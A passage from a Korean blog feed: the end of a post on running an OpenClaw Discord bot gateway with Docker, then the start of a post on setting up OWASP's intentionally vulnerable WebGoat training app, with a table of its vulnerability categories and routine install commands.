&lt;blockquote data-ke-style=&quot;style3&quot;&gt;◆&amp;nbsp;&amp;nbsp;Enable&amp;nbsp;hooks? &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp;Skip&amp;nbsp;for&amp;nbsp;now &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;boot-md &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;bootstrap-extra-files &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;command-logger &lt;br /&gt;│&amp;nbsp;&amp;nbsp;◻&amp;nbsp; &amp;nbsp;session-memory &lt;br /&gt;└&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- 대시보드(Gateway) 접속 및 로그인 &lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2017&quot; data-origin-height=&quot;1187&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LrQg5/dJMcahX2bEZ/ujzhGKTKeNqUNnOvkYqRs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LrQg5/dJMcahX2bEZ/ujzhGKTKeNqUNnOvkYqRs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LrQg5/dJMcahX2bEZ/ujzhGKTKeNqUNnOvkYqRs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLrQg5%2FdJMcahX2bEZ%2FujzhGKTKeNqUNnOvkYqRs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2017&quot; height=&quot;1187&quot; data-origin-width=&quot;2017&quot; data-origin-height=&quot;1187&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;모든 설정이 끝나면 이제 웹 브라우저에서 봇을 관리할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Discord 연결 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1030&quot; data-origin-height=&quot;425&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BdDBQ/dJMcadg2JU8/dX4bjfawFeO8Cbadn9QKBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BdDBQ/dJMcadg2JU8/dX4bjfawFeO8Cbadn9QKBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BdDBQ/dJMcadg2JU8/dX4bjfawFeO8Cbadn9QKBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBdDBQ%2FdJMcadg2JU8%2FdX4bjfawFeO8Cbadn9QKBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1030&quot; height=&quot;425&quot; data-origin-width=&quot;1030&quot; data-origin-height=&quot;425&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;구축하는 데 설정 오류가 많이 나서 거의 7시간은 걸렸다.. 진짜 힘들었음... 그래서 너무 반가움!!&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-path-to-node=&quot;3&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;기본 명령어&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-path-to-node=&quot;3&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. 서비스 시작 및 종료 (Docker 기준)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size18&quot;&gt;가장 기본이 되는 명령어. 봇을 켜고 끌 때 사용&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;docker compose up -d openclaw-gateway&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;docker compose stop openclaw-gateway&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4 data-path-to-node=&quot;6&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 상태 확인 (Status)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size18&quot;&gt;봇이 잘 작동하는지, 디스코드는 연결됐는지 확인할 때 사용&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2294&quot; data-origin-height=&quot;479&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckgz4D/dJMcagdMtBl/loFzv089cT0Tga1GnyxjUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckgz4D/dJMcagdMtBl/loFzv089cT0Tga1GnyxjUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckgz4D/dJMcagdMtBl/loFzv089cT0Tga1GnyxjUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fckgz4D%2FdJMcagdMtBl%2FloFzv089cT0Tga1GnyxjUk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2294&quot; height=&quot;479&quot; data-origin-width=&quot;2294&quot; data-origin-height=&quot;479&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;open-claw status&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>OpenClaw 프로젝트</category>
      <category>OpenClaw</category>
      <author>chon29</author>
      <guid isPermaLink="true">https://chon29.tistory.com/47</guid>
      <comments>https://chon29.tistory.com/47#entry47comment</comments>
      <pubDate>Fri, 20 Mar 2026 16:56:50 +0900</pubDate>
    </item>
    <item>
      <title>Webgoat 실습 환경 구축</title>
      <link>https://chon29.tistory.com/45</link>
      <description>&lt;h4 data-path-to-node=&quot;2&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;WebGoat란 무엇인가?&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;239&quot; data-origin-height=&quot;77&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHqXoQ/dJMcagLyMHW/mSFnt0iVK403FsklSroN4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHqXoQ/dJMcagLyMHW/mSFnt0iVK403FsklSroN4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHqXoQ/dJMcagLyMHW/mSFnt0iVK403FsklSroN4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHqXoQ%2FdJMcagLyMHW%2FmSFnt0iVK403FsklSroN4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;404&quot; height=&quot;130&quot; data-origin-width=&quot;239&quot; data-origin-height=&quot;77&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4&quot;&gt;WebGoat&lt;/b&gt;는 OWASP에서 유지 관리하는 &lt;b data-index-in-node=&quot;25&quot; data-path-to-node=&quot;4&quot;&gt;의도적으로 취약하게 설계된 Java Spring Boot 웹 애플리케이션&lt;/b&gt;이다. 보안 전문가와 개발자가 웹 애플리케이션의 취약점을 실제로 공격해 보고, 이를 어떻게 방어해야 하는지 실습을 통해 배울 수 있도록 만들어진 교육용 벤치마크 플랫폼이다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;WebGoat는 단순한 연습 도구를 넘어, 웹 보안의 전 영역을 아우르는 &lt;b data-index-in-node=&quot;41&quot; data-path-to-node=&quot;4&quot;&gt;16개의 주요 취약점 카테고리&lt;/b&gt;를 제공한다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&lt;span data-path-to-node=&quot;5,0,1,0&quot;&gt;취약점 모듈 명칭&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;핵심 실습 내용&lt;/td&gt;
&lt;td&gt;OWASP 2025 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;매핑&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;1&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Access Control Flaws&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;사용자 권한을 넘어서는 데이터나 페이지 접근 시도&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A01 (1위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;2&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Parameter Tampering&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;URL 파라미터나 Form 데이터를 조작하여 로직 우회&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A01 (1위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;3&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Insecure Configuration&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;서버 및 프레임워크의 잘못된 설정으로 인한 취약점&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A02 (2위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;4&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Insecure Storage&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;암호화되지 않은 민감 정보의 물리적 저장 문제&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A04 (4위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;5&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Insecure Communication&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;네트워크 전송 시 데이터 암호화 미비 (SSL/TLS 등)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A04 (4위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;6&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Injection Flaws&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;SQL, OS Command 등 악의적인 쿼리 주입 공격&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A05 (5위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;7&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Cross-Site Scripting (XSS)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;사용자 브라우저 내에서 악성 스크립트 실행&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A05 (5위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;8&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Authentication Flaws&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;로그인 및 신원 확인 로직의 보안 결함&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A07 (7위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;9&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Session Management Flaws&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;세션 탈취, 고정 및 부적절한 세션 관리&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A07 (7위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;10&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Malicious Execution&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;서버 측에서의 악성 파일 업로드 및 실행&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A08 (8위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;11&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Improper Error Handling&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;시스템 에러를 통해 내부 정보를 과도하게 노출&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A10 (10위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;12&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Concurrency&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;다중 요청 처리 시 발생하는 논리적 오류 (Race Condition)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;A10 (10위)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;13&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;AJAX Security&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;비동기 자바스크립트 통신(AJAX)의 보안 취약점&lt;/td&gt;
&lt;td&gt;기술적 분류&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;14&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Web Services&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;API, SOAP, REST 등 웹 서비스 구조적 결함&lt;/td&gt;
&lt;td&gt;기술적 분류&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;15&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Code Quality&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;보안에 취약한 코드 작성 습관 및 논리적 버그&lt;/td&gt;
&lt;td&gt;보안 코딩&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;16&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;Denial of Service&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;서버 자원 고갈을 통한 서비스 정상 작동 방해&lt;/td&gt;
&lt;td&gt;가용성 침해&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 16가지 실습은 앞서 설명한 &lt;b data-index-in-node=&quot;27&quot; data-path-to-node=&quot;8,1,0&quot;&gt;OWASP Top 10:2025&lt;/b&gt;의 각 항목과 유기적으로 연결되어 있어, 이론을 실무로 전환하는 가장 효과적인 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;[ WebGoat 실습 환경 구축 ]&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- Docker를 이용한 설치 &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Docker Desktop을 이용하면 별도의 Java 설치 없이도 깔끔하게 환경을 구축할 수 있다. 여기서는 Ubuntu 컨테이너를 생성하여 직접 빌드하는 방식을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,0,0&quot;&gt;실행 명령어:&lt;/b&gt;
&lt;div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows Poweshell 관리자로 실행 후 다음 명령어를 입력하면 실습용 컨테이너가 실행된다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;docker run -it --name webgoat -p 8080:8080 -p 9090:9090 ubuntu&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,0&quot;&gt;옵션 설명:&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;6,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;docker run : 컨테이나 실행 명령&lt;/li&gt;
&lt;li&gt;-it : 컨테이너 입력(i)과 터미널 접근(t) 활성화&lt;/li&gt;
&lt;li&gt;--name : 생성할 컨테이너의 이름 설정&lt;/li&gt;
&lt;li&gt;-p 8080:8080 : 웹 서비스 포트 연결&lt;/li&gt;
&lt;li&gt;-p 9090:9090 : WebWolf(실습 보조 도구) 포트 연결&lt;/li&gt;
&lt;li&gt;ubuntu : 컨테이너 실행에 사용하는 이미지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 다음 명령어들을 실행한다.&lt;/p&gt;
&lt;pre id=&quot;code_1773666789422&quot; class=&quot;bash&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 패키지 업데이트 및 기본 도구 설치
apt update
apt install git vim

# JDK 17 설치
apt install -y openjdk-17-jdk&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;- WebGoat&lt;span&gt; 및 환경 구성&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;WebGoat&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;github 링크&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1773666533742&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - WebGoat/WebGoat: WebGoat is a deliberately insecure application&quot; data-og-description=&quot;WebGoat is a deliberately insecure application. Contribute to WebGoat/WebGoat development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/WebGoat/WebGoat&quot; data-og-url=&quot;https://github.com/WebGoat/WebGoat&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/1rrvn/dJMb82MBTKJ/k9i5kYfgqz5mdefhQtbI8k/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/TEXN6/dJMb82MBTKI/VT3zSNPeBcku80SKVNSmGK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/SopUO/dJMb88F3GLQ/5DNF1XtgikCv4LX16RMex0/img.png?width=1434&amp;amp;height=834&amp;amp;face=0_0_1434_834&quot;&gt;&lt;a href=&quot;https://github.com/WebGoat/WebGoat&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/WebGoat/WebGoat&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/1rrvn/dJMb82MBTKJ/k9i5kYfgqz5mdefhQtbI8k/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/TEXN6/dJMb82MBTKI/VT3zSNPeBcku80SKVNSmGK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/SopUO/dJMb88F3GLQ/5DNF1XtgikCv4LX16RMex0/img.png?width=1434&amp;amp;height=834&amp;amp;face=0_0_1434_834');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - WebGoat/WebGoat: WebGoat is a deliberately insecure application&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;WebGoat is a deliberately insecure application. Contribute to WebGoat/WebGoat development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;712&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0xxCK/dJMcagreB12/R0uig2ghgsiVbCzG4iKf3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0xxCK/dJMcagreB12/R0uig2ghgsiVbCzG4iKf3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0xxCK/dJMcagreB12/R0uig2ghgsiVbCzG4iKf3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0xxCK%2FdJMcagreB12%2FR0uig2ghgsiVbCzG4iKf3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;694&quot; height=&quot;468&quot; data-origin-width=&quot;1055&quot; data-origin-height=&quot;712&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;WebGoat&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;github 주소를 복사하고 Docker 컨테이너에 주소를 붙여넣는다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773666888183&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git clone -b v2023.3 https://github.com/WebGoat/WebGoat.git&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;-b는 V2023.3 버전을 다운로드하는 옵션이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;다운로드 후 ls 명령으로 다운로드된 WebGoat 디렉터리를 확인할 수 있다. 아래의 명령으로 v2023.3 버전을 확인한다.&lt;/p&gt;
&lt;pre id=&quot;code_1773667047528&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cd WebGoat
git describe&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;- webGoat와 WebWolf의 설정 파일 수정&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;27&quot; data-ke-size=&quot;size18&quot;&gt;각 properties 파일을 열어 webgoat.host와 webwolf.host 값을 수정한다.&lt;/p&gt;
&lt;pre id=&quot;code_1773667160104&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vi src/main/resources/application-webgoat.properties&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;457&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYhcPl/dJMcaaxN0qE/TMF7hH1mW0FZvsMLsmK3LK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYhcPl/dJMcaaxN0qE/TMF7hH1mW0FZvsMLsmK3LK/img.png&quot; data-alt=&quot;vi 에디터 명령&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYhcPl/dJMcaaxN0qE/TMF7hH1mW0FZvsMLsmK3LK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYhcPl%2FdJMcaaxN0qE%2FTMF7hH1mW0FZvsMLsmK3LK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;637&quot; height=&quot;353&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;457&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;vi 에디터 명령&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;열린 파일에서 아래 부분을 수정하고 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775309615134&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 주석처리
#webgoat.host=${WEBGOAT_HOST:127.0.0.1}
# 추가
webgoat.host=0.0.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;752&quot; data-origin-height=&quot;82&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zzgS5/dJMcaiCPNX0/KKAtErGcFCWQI09HNkKnvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zzgS5/dJMcaiCPNX0/KKAtErGcFCWQI09HNkKnvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zzgS5/dJMcaiCPNX0/KKAtErGcFCWQI09HNkKnvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzzgS5%2FdJMcaiCPNX0%2FKKAtErGcFCWQI09HNkKnvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;752&quot; height=&quot;82&quot; data-origin-width=&quot;752&quot; 